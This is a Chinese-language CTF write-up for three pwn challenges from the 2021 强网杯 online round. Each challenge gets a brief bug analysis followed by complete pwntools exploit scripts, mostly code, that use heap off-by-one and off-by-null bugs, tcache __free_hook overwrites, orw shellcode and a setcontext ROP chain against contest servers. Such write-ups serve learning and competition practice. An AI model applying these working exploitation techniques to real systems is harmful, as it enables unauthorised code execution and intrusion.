2021强网杯线上赛 baby_diary [强网先锋]orw babypwn WP

Posted on Jun 13, 2021

强网杯这次我总共做了 3 道比较简单 pwn 题,还有三道题目学长做了,之后看情况复现一下。剩下 7 道基本上不会,还是需要继续学习

baby_diary

这道题就是 2.29+ libc 的 unlink 利用,详细的利用方法可以参见 CTF-WIKI 和这篇 WP(无耻地推销一下,两篇都是我写的 ^_^)

对于本题而言,主要的漏洞就是读取输入后,sub_1528 会对输入的后一位进行 v2[a2 + 1] = (v2[a2 + 1] & 0xF0) + sub_146E(idx); 的操作,造成 off-by-one。通过构造输入可以修改后一个 chunk 的 size 位,也就是可以向低地址合并实现 chunk overlapping。

不过 2.31 的 unlink 加入了对 chunk 的相邻判断,所以需要用 largebin 的 fd_nextsize 和 bk_nextsize 来辅助。由于读取输入的方式,需要爆破堆地址中的 8 位,1 / 256 的概率。

overlapping 之后 tcache 打 __free_hook 即可

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'

libc = ELF("./libc-2.31.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def write_diary(size, payload):
	sh.sendlineafter(">> ",'1')
	sh.sendlineafter("size: ",str(size))
	sh.sendafter("content: ",payload)

def read_diary(idx):
	sh.sendlineafter(">> ",'2')
	sh.sendlineafter("index: ",str(idx))

def delete_diary(idx):
	sh.sendlineafter(">> ",'3')
	sh.sendlineafter("index: ",str(idx))

for i in range(256):
	try:
		#sh = process("./baby_diary")
		sh = remote("8.140.114.72","1399")
		write_diary(0x3D60 + 0x50, 'align\n') # 0
		write_diary(0x4A0, 'large bin\n') # 1
		write_diary(0x20, 'leak\n') # 2
		write_diary(0x20, 'off-by-one next chunk\n') # 3
		write_diary(0x4E0, 'off-by-oned\n') # 4
		write_diary(0x20, 'protect\n') # 5

		delete_diary(1)
		write_diary(0x500, 'push\n') # 1

		delete_diary(3)
		write_diary(0x27, '\x00' * (0x27)) # 3
		delete_diary(3)
		write_diary(0x20, '\x05' + '\x00' * 0x1F) # 3

		write_diary(0x27, '\x0F'.ljust(8,'\x00') + p64(0x501) + '\x78\n') # 6
		write_diary(0x27,'pass\n') # 7
		write_diary(0xF7,'up\n') # 8
		write_diary(0x27,'pass\n') # 9
		write_diary(0x27,'pass\n') # 10
		write_diary(0x27,'pass\n') # 11
		write_diary(0x27,'pass\n') # 12 

		for i in range(7):
			write_diary(0x27,'tcache\n') # 13 - 19

		for i in range(13, 20): 
			delete_diary(i)

		delete_diary(7) # statsh
		delete_diary(12)
		delete_diary(6)

		for i in range(7):
			write_diary(0x27,'tcache\n') 
		# 6 7 12 13 14 15 16

		write_diary(0x27, '\x60\n') # 17
		write_diary(0x27, '\x60\n') # 18
		delete_diary(4)

		write_diary(0x120, '\n') # 4 
		write_diary(0x140, '\n') # 19 
		read_diary(9)
		sh.recvuntil("content: ")
		libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60
		__free_hook = libc_base + libc.sym["__free_hook"]
		system = libc_base + libc.sym["system"]
		log.success("libc_base: " + hex(libc_base))
		delete_diary(10)
		write_diary(0x60,p64(0) * 5 + p64(31) + p64(__free_hook) + '\n') # 10
		write_diary(0x27,'/bin/sh\x00\n') # 20
		write_diary(0x27,p64(system) + '\n') # 21
		delete_diary(20)

		sh.sendline("echo pwn!")
		sh.recvuntil("pwn!")
		sh.sendline("cat flag")
		sh.interactive()
	except:
		sh.close()

[强网先锋]orw

在函数 sub_D8E 中,size == 0,时可以无限溢出。而 idx 可以负数,可以对 bss 段任意写。

同时堆栈可执行,又是 partial reload,所以通过负数 idx 改个 got,直接 shellcode orw 即可

from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

#sh = process("./pwn")
sh = remote('39.105.131.68','12354')

sh.sendlineafter(">>\n", '1')
sh.sendlineafter("index:\n",'-25')
sh.sendlineafter('size:\n','0')

payload = '' 
payload += 'mov rax,0x67616c662f2e;'
payload += 'push rax;'
payload += 'mov rdi,rsp;'
payload += 'mov rax,2;'
payload += 'mov rsi,0;'
payload += 'mov rdx,0;'
payload += 'syscall;'
payload += 'mov rax,0;'
payload += 'mov rdi,3;'
payload += 'mov rsi,rsp;'
payload += 'mov rdx,0x40;'
payload += 'syscall;'
payload += 'mov rax,1;'
payload += 'mov rdi,1;'
payload += 'mov rsi,rsp;'
payload += 'mov rdx,0x40;'
payload += 'syscall;'

sh.sendlineafter('content:\n', asm(payload))
sh.sendlineafter(">>\n", '4')
sh.sendlineafter('index:\n','0')
sh.interactive()

babypwn

在 sub_EB1 函数中会按字节遍历输入,并将第一个值为 0x11 的字节置零,所以可以 off-by-null。

然后又加了 seccomp 禁了 execve

所以思路就是先 off-by-null 做个低地址合并然后打 __free_hook setcontext 栈迁移 orw。

leak 可以通过 show 函数进行。高 32 位穷举 4 位即可,低 32 位穷举 28 位,大概穷举一百万次即可实现 leak。

exp:

from pwn import *
from z3 import *
from ctypes import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

#sh = process("./babypwn")
sh = remote("39.105.130.158",8888)
libc = ELF("./libc.so.6")

def add(size):
	sh.sendlineafter(">>> \n",str(1))
	sh.sendlineafter("size:\n",str(size))

def delete(idx):
	sh.sendlineafter(">>> \n",str(2))
	sh.sendlineafter("index:\n",str(idx))

def edit(idx, payload):
	sh.sendlineafter(">>> \n",str(3))
	sh.sendlineafter("index:\n",str(idx))
	sh.sendafter("content:\n",payload)

def show(idx):
	sh.sendlineafter(">>> \n",str(4))
	sh.sendlineafter("index:\n",str(idx))

def count(chip_int32,guess_val,shift):
	counter = 0
	while(1):
		a = guess_val + (counter << shift)
		for i in range(2):
			a^=((((32*a) & 0xFFFFFFFF)^((a^((32*a) & 0xFFFFFFFF))>>17)^((((32*a) & 0xFFFFFFFF)^a^((a^((32*a) & 0xFFFFFFFF))>>17))<<13)) & 0xFFFFFFFF)
			a &= 0xFFFFFFFF
		if (a == chip_int32):
			break
		counter += 1
		if (guess_val > 0xFFFFFFFF):
			print "fuck"
			break
	return guess_val + (counter << shift)

for i in range(8):
	add(0x1F8)

edit(7,'\x00'.ljust(0x1F0,'\x00') + p64(0x1D0))

add(0x28) # 8
add(0x28) # 9
add(0x28) # 10
add(0x28) # 11
add(0x28) # 12
add(0x200) # 13
add(0x28) # 14 protect
for i in range(7):
	delete(i)

add(0x1F8) # 0
show(0)
chip_low = int(sh.recvuntil('\n',drop = True), base = 16)
chip_high = int(sh.recvuntil('\n',drop = True), base = 16)
log.success("chip_low:" + hex(chip_low))
log.success("chip_high:" + hex(chip_high))

heap_addr_low = count(chip_low, 0x6B0, 12)
heap_addr_high = count(chip_high, 0x5500, 0)
heap_base = heap_addr_high << 32 | heap_addr_low - 0x16B0 
log.success("heap_base: " + hex(heap_base))
delete(0)
# wait for decrypt

delete(7)
add(0x28) # 0
show(0)
chip_low = int(sh.recvuntil('\n',drop = True), base = 16)
chip_high = int(sh.recvuntil('\n',drop = True), base = 16)
log.success("chip_low:" + hex(chip_low))
log.success("chip_high:" + hex(chip_high))
libc_addr_low = count(chip_low, 0xE90, 12)
libc_addr_high = count(chip_high, 0x7F00, 0)
libc_addr = libc_addr_high << 32 | libc_addr_low
log.success(hex(libc_addr))
libc_base = libc_addr - libc.sym["__malloc_hook"] - 0x10 - 0x250
log.success("libc_base: " + hex(libc_base))

pop_rdi_ret = p64(libc_base + 0x2155F)
pop_rsi_ret = p64(libc_base + 0x23E6A)
pop_rdx_ret = p64(libc_base + 0x1B96)
open_addr = p64(libc_base + libc.sym["open"])
read_addr = p64(libc_base + libc.sym["read"])
write_addr = p64(libc_base + libc.sym["write"])
setcontext = p64(libc_base + 0x520A5)
__free_hook = p64(libc_base + libc.sym["__free_hook"])
flag_addr = heap_base + 0x1C60 + 0xE8

orw_chain = ''
orw_chain += pop_rdi_ret + p64(flag_addr) 
orw_chain += pop_rsi_ret + p64(0)
#orw_chain += pop_rdx_ret + p64(0)
orw_chain += open_addr
orw_chain += pop_rdi_ret + p64(3)
orw_chain += pop_rsi_ret + p64(heap_base + 0x100)
orw_chain += pop_rdx_ret + p64(0x40)
orw_chain += read_addr
orw_chain += pop_rdi_ret + p64(1)
orw_chain += pop_rsi_ret + p64(heap_base + 0x100)
orw_chain += pop_rdx_ret + p64(0x40)
orw_chain += write_addr

payload = orw_chain + './flag\x00'
payload = payload.ljust(0xA0, '\x00')
payload += p64(heap_base + 0x1C60 - 0x10) + p64(libc_base + 0x221a2) # 0xB0
payload += p64(0) * 4 
payload += pop_rdi_ret 
payload += p64(0x31) + __free_hook + './flag.txt'
print hex(len(payload))

edit(13,'a'.ljust(0x1F8,'a') + p64(0x41))
edit(12,'a' * 0x28)
edit(12,p64(0) * 4 + p64(0x2C0))
delete(13)
delete(11)
add(0x170) # 1
add(0x200) # 2
edit(2, payload)
add(0x28) # 3
add(0x28) # 4
edit(4, setcontext)
delete(2)

sh.interactive()